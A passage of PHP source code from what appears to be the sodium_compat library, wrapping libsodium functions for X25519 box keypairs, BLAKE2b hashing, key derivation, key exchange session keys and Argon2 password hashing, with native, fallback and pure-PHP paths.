            return ParagonIE_Sodium_Crypto32::box_seal_open($ciphertext, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box_seal_open($ciphertext, $keypair);
    }

    /**
     * Generate a new random X25519 keypair.
     *
     * @return string A 64-byte string; the first 32 are your secret key, while
     *                the last 32 are your public key. crypto_box_secretkey()
     *                and crypto_box_publickey() exist to separate them so you
     *                don't accidentally get them mixed up!
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_keypair();
        }
        if (self::use_fallback('crypto_box_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_box_keypair');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_keypair();
        }
        return ParagonIE_Sodium_Crypto::box_keypair();
    }

    /**
     * Combine two keys into a keypair for use in library methods that expect
     * a keypair. This doesn't necessarily have to be the same person's keys.
     *
     * @param string $secretKey Secret key
     * @param string $publicKey Public key
     * @return string    Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
        }
        if (self::use_fallback('crypto_box_keypair_from_secretkey_and_publickey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey', $secretKey, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey);
    }

    /**
     * Decrypt a message previously encrypted with crypto_box().
     *
     * @param string $ciphertext Encrypted message
     * @param string $nonce      Number to only be used Once; must be 24 bytes
     * @param string $keypair    Your secret key and the sender's public key
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_box_open($ciphertext, $nonce, $keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_BOX_MACBYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_BOX_MACBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_box_open($ciphertext, $nonce, $keypair);
        }
        if (self::use_fallback('crypto_box_open')) {
            return call_user_func('\\Sodium\\crypto_box_open', $ciphertext, $nonce, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce, $keypair);
    }

    /**
     * Extract the public key from a crypto_box keypair.
     *
     * @param string $keypair Keypair containing secret and public key
     * @return string         Your crypto_box public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_publickey($keypair);
        }
        if (self::use_fallback('crypto_box_publickey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_publickey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_publickey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_publickey($keypair);
    }

    /**
     * Calculate the X25519 public key from a given X25519 secret key.
     *
     * @param string $secretKey Any X25519 secret key
     * @return string           The corresponding X25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_publickey_from_secretkey($secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_publickey_from_secretkey($secretKey);
        }
        if (self::use_fallback('crypto_box_publickey_from_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_publickey_from_secretkey', $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey);
        }
        return ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey);
    }

    /**
     * Extract the secret key from a crypto_box keypair.
     *
     * @param string $keypair
     * @return string         Your crypto_box secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box_secretkey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_secretkey($keypair);
        }
        if (self::use_fallback('crypto_box_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_box_secretkey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_secretkey($keypair);
        }
        return ParagonIE_Sodium_Crypto::box_secretkey($keypair);
    }

    /**
     * Generate an X25519 keypair from a seed.
     *
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress UndefinedFunction
     */
    public static function crypto_box_seed_keypair($seed)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box_seed_keypair($seed);
        }
        if (self::use_fallback('crypto_box_seed_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_box_seed_keypair', $seed);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed);
        }
        return ParagonIE_Sodium_Crypto::box_seed_keypair($seed);
    }

    /**
     * Calculates a BLAKE2b hash, with an optional key.
     *
     * @param string      $message The message to be hashed
     * @param string|null $key     If specified, must be a string between 16
     *                             and 64 bytes long
     * @param int         $length  Output length in bytes; must be between 16
     *                             and 64 (default = 32)
     * @return string              Raw binary
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash($message, $key = '', $length = self::CRYPTO_GENERICHASH_BYTES)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 3);

        /* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_generichash($message, $key, $length);
        }
        if (self::use_fallback('crypto_generichash')) {
            return (string) call_user_func('\\Sodium\\crypto_generichash', $message, $key, $length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash($message, $key, $length);
        }
        return ParagonIE_Sodium_Crypto::generichash($message, $key, $length);
    }

    /**
     * Get the final BLAKE2b hash output for a given context.
     *
     * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init().
     * @param int $length Hash output size.
     * @return string     Final BLAKE2b hash.
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress ReferenceConstraintViolation
     * @psalm-suppress ConflictingReferenceConstraint
     */
    public static function crypto_generichash_final(&$ctx, $length = self::CRYPTO_GENERICHASH_BYTES)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_final($ctx, $length);
        }
        if (self::use_fallback('crypto_generichash_final')) {
            $func = '\\Sodium\\crypto_generichash_final';
            return (string) $func($ctx, $length);
        }
        if ($length < 1) {
            try {
                self::memzero($ctx);
            } catch (SodiumException $ex) {
                unset($ctx);
            }
            return '';
        }
        if (PHP_INT_SIZE === 4) {
            $result = ParagonIE_Sodium_Crypto32::generichash_final($ctx, $length);
        } else {
            $result = ParagonIE_Sodium_Crypto::generichash_final($ctx, $length);
        }
        try {
            self::memzero($ctx);
        } catch (SodiumException $ex) {
            unset($ctx);
        }
        return $result;
    }

    /**
     * Initialize a BLAKE2b hashing context, for use in a streaming interface.
     *
     * @param string|null $key If specified must be a string between 16 and 64 bytes
     * @param int $length      The size of the desired hash output
     * @return string          A BLAKE2 hashing context, encoded as a string
     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init($key = '', $length = self::CRYPTO_GENERICHASH_BYTES)
    {
        /* Type checks: */
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);

        /* Input validation: */
        if (!empty($key)) {
            if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_generichash_init($key, $length);
        }
        if (self::use_fallback('crypto_generichash_init')) {
            return (string) call_user_func('\\Sodium\\crypto_generichash_init', $key, $length);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash_init($key, $length);
        }
        return ParagonIE_Sodium_Crypto::generichash_init($key, $length);
    }

    /**
     * Initialize a BLAKE2b hashing context, for use in a streaming interface.
     *
     * @param string|null $key If specified must be a string between 16 and 64 bytes
     * @param int $length      The size of the desired hash output
     * @param string $salt     Salt (up to 16 bytes)
     * @param string $personal Personalization string (up to 16 bytes)
     * @return string          A BLAKE2 hashing context, encoded as a string
     *                         (To be 100% compatible with ext/libsodium)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_generichash_init_salt_personal(
        $key = '',
        $length = self::CRYPTO_GENERICHASH_BYTES,
        $salt = '',
        $personal = ''
    ) {
        /* Type checks: */
        if (is_null($key)) {
            $key = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($personal, 'string', 4);
        $salt = str_pad($salt, 16, "\0", STR_PAD_RIGHT);
        $personal = str_pad($personal, 16, "\0", STR_PAD_RIGHT);

        /* Input validation: */
        if (!empty($key)) {
            /*
            if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.');
            }
            */
            if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.');
            }
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::generichash_init_salt_personal($key, $length, $salt, $personal);
        }
        return ParagonIE_Sodium_Crypto::generichash_init_salt_personal($key, $length, $salt, $personal);
    }

    /**
     * Update a BLAKE2b hashing context with additional data.
     *
     * @param string $ctx    BLAKE2 hashing context. Generated by crypto_generichash_init().
     *                       $ctx is passed by reference and gets updated in-place.
     * @param-out string $ctx
     * @param string $message The message to append to the existing hash state.
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress ReferenceConstraintViolation
     */
    public static function crypto_generichash_update(&$ctx, $message)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);

        if (self::useNewSodiumAPI()) {
            sodium_crypto_generichash_update($ctx, $message);
            return;
        }
        if (self::use_fallback('crypto_generichash_update')) {
            $func = '\\Sodium\\crypto_generichash_update';
            $func($ctx, $message);
            return;
        }
        if (PHP_INT_SIZE === 4) {
            $ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx, $message);
        } else {
            $ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx, $message);
        }
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_generichash_keygen()
    {
        return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES);
    }

    /**
     * @param int $subkey_len
     * @param int $subkey_id
     * @param string $context
     * @param string $key
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kdf_derive_from_key(
        $subkey_len,
        $subkey_id,
        $context,
        $key
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($subkey_len, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($subkey_id, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($context, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);
        $subkey_id = (int) $subkey_id;
        $subkey_len = (int) $subkey_len;
        $context = (string) $context;
        $key = (string) $key;

        if ($subkey_len < self::CRYPTO_KDF_BYTES_MIN) {
            throw new SodiumException('subkey cannot be smaller than SODIUM_CRYPTO_KDF_BYTES_MIN');
        }
        if ($subkey_len > self::CRYPTO_KDF_BYTES_MAX) {
            throw new SodiumException('subkey cannot be larger than SODIUM_CRYPTO_KDF_BYTES_MAX');
        }
        if ($subkey_id < 0) {
            throw new SodiumException('subkey_id cannot be negative');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($context) !== self::CRYPTO_KDF_CONTEXTBYTES) {
            throw new SodiumException('context should be SODIUM_CRYPTO_KDF_CONTEXTBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_KDF_KEYBYTES) {
            throw new SodiumException('key should be SODIUM_CRYPTO_KDF_KEYBYTES bytes');
        }

        $salt = ParagonIE_Sodium_Core_Util::store64_le($subkey_id);
        $state = self::crypto_generichash_init_salt_personal(
            $key,
            $subkey_len,
            $salt,
            $context
        );
        return self::crypto_generichash_final($state, $subkey_len);
    }

    /**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_kdf_keygen()
    {
        return random_bytes(self::CRYPTO_KDF_KEYBYTES);
    }

    /**
     * Perform a key exchange, between a designated client and a server.
     *
     * Typically, you would designate one machine to be the client and the
     * other to be the server. The first two keys are what you'd expect for
     * scalarmult() below, but the latter two public keys don't swap places.
     *
     * | ALICE                          | BOB                                 |
     * | Client                         | Server                              |
     * |--------------------------------|-------------------------------------|
     * | shared = crypto_kx(            | shared = crypto_kx(                 |
     * |     alice_sk,                  |     bob_sk,                         | <- contextual
     * |     bob_pk,                    |     alice_pk,                       | <- contextual
     * |     alice_pk,                  |     alice_pk,                       | <----- static
     * |     bob_pk                     |     bob_pk                          | <----- static
     * | )                              | )                                   |
     *
     * They are used along with the scalarmult product to generate a 256-bit
     * BLAKE2b hash unique to the client and server keys.
     *
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_kx($my_secret, $their_public, $client_public, $server_public, $dontFallback = false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($my_secret, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($their_public, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($client_public, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($server_public, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !== self::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($their_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($client_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($server_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 4 must be CRYPTO_BOX_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI() && !$dontFallback) {
            if (is_callable('sodium_crypto_kx')) {
                return (string) sodium_crypto_kx(
                    $my_secret,
                    $their_public,
                    $client_public,
                    $server_public
                );
            }
        }
        if (self::use_fallback('crypto_kx')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_kx',
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::keyExchange(
                $my_secret,
                $their_public,
                $client_public,
                $server_public
            );
        }
        return ParagonIE_Sodium_Crypto::keyExchange(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_seed_keypair($seed)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);

        $seed = (string) $seed;

        if (ParagonIE_Sodium_Core_Util::strlen($seed) !== self::CRYPTO_KX_SEEDBYTES) {
            throw new SodiumException('seed must be SODIUM_CRYPTO_KX_SEEDBYTES bytes');
        }

        $sk = self::crypto_generichash($seed, '', self::CRYPTO_KX_SECRETKEYBYTES);
        $pk = self::crypto_scalarmult_base($sk);
        return $sk . $pk;
    }

    /**
     * @return string
     * @throws Exception
     */
    public static function crypto_kx_keypair()
    {
        $sk = self::randombytes_buf(self::CRYPTO_KX_SECRETKEYBYTES);
        $pk = self::crypto_scalarmult_base($sk);
        return $sk . $pk;
    }

    /**
     * @param string $keypair
     * @param string $serverPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    public static function crypto_kx_client_session_keys($keypair, $serverPublicKey)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($serverPublicKey, 'string', 2);

        $keypair = (string) $keypair;
        $serverPublicKey = (string) $serverPublicKey;

        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) {
            throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($serverPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) {
            throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes');
        }

        $sk = self::crypto_kx_secretkey($keypair);
        $pk = self::crypto_kx_publickey($keypair);
        $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $serverPublicKey));
        self::crypto_generichash_update($h, $pk);
        self::crypto_generichash_update($h, $serverPublicKey);
        $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        return array(
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                0,
                self::CRYPTO_KX_SESSIONKEYBYTES
            ),
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                self::CRYPTO_KX_SESSIONKEYBYTES,
                self::CRYPTO_KX_SESSIONKEYBYTES
            )
        );
    }

    /**
     * @param string $keypair
     * @param string $clientPublicKey
     * @return array{0: string, 1: string}
     * @throws SodiumException
     */
    public static function crypto_kx_server_session_keys($keypair, $clientPublicKey)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($clientPublicKey, 'string', 2);

        $keypair = (string) $keypair;
        $clientPublicKey = (string) $clientPublicKey;

        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) {
            throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($clientPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) {
            throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes');
        }

        $sk = self::crypto_kx_secretkey($keypair);
        $pk = self::crypto_kx_publickey($keypair);
        $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $clientPublicKey));
        self::crypto_generichash_update($h, $clientPublicKey);
        self::crypto_generichash_update($h, $pk);
        $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2);
        return array(
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                self::CRYPTO_KX_SESSIONKEYBYTES,
                self::CRYPTO_KX_SESSIONKEYBYTES
            ),
            ParagonIE_Sodium_Core_Util::substr(
                $sessionKeys,
                0,
                self::CRYPTO_KX_SESSIONKEYBYTES
            )
        );
    }

    /**
     * @param string $kp
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_secretkey($kp)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            $kp,
            0,
            self::CRYPTO_KX_SECRETKEYBYTES
        );
    }

    /**
     * @param string $kp
     * @return string
     * @throws SodiumException
     */
    public static function crypto_kx_publickey($kp)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            $kp,
            self::CRYPTO_KX_SECRETKEYBYTES,
            self::CRYPTO_KX_PUBLICKEYBYTES
        );
    }

    /**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @param int|null $alg
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg = null)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt,  'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5);

        if (self::useNewSodiumAPI()) {
            if (!is_null($alg)) {
                ParagonIE_Sodium_Core_Util::declareScalarType($alg, 'int', 6);
                return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg);
            }
            return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit);
        }
        if (self::use_fallback('crypto_pwhash')) {
            return (string) call_user_func('\\Sodium\\crypto_pwhash', $outlen, $passwd, $salt, $opslimit, $memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * !Exclusive to sodium_compat!
     *
     * This returns TRUE if the native crypto_pwhash API is available by libsodium.
     * This returns FALSE if only sodium_compat is available.
     *
     * @return bool
     */
    public static function crypto_pwhash_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return true;
        }
        if (self::use_fallback('crypto_pwhash')) {
            return true;
        }
        return false;
    }

    /**
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str($passwd, $opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit);
        }
        if (self::use_fallback('crypto_pwhash_str')) {
            return (string) call_user_func('\\Sodium\\crypto_pwhash_str', $passwd, $opslimit, $memlimit);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * Do we need to rehash this password?
     *
     * @param string $hash
     * @param int $opslimit
     * @param int $memlimit
     * @return bool
     * @throws SodiumException
     */
    public static function crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3);

        // Just grab the first 4 pieces.
        $pieces = explode('$', (string) $hash);
        $prefix = implode('$', array_slice($pieces, 0, 4));

        // Rebuild the expected header.
        /** @var int $ops */
        $ops = (int) $opslimit;
        /** @var int $mem */
        $mem = (int) $memlimit >> 10;
        $encoded = self::CRYPTO_PWHASH_STRPREFIX . 'v=19$m=' . $mem . ',t=' . $ops . ',p=1';

        // Do they match? If so, we don't need to rehash, so return false.
        return !ParagonIE_Sodium_Core_Util::hashEquals($encoded, $prefix);
    }

    /**
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_pwhash_str_verify($passwd, $hash)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2);

        if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash);
        }
        if (self::use_fallback('crypto_pwhash_str_verify')) {
            return (bool) call_user_func('\\Sodium\\crypto_pwhash_str_verify', $passwd, $hash);
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP'
        );
    }

    /**
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt, $opslimit, $memlimit)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($salt,  'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4);
        ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5);

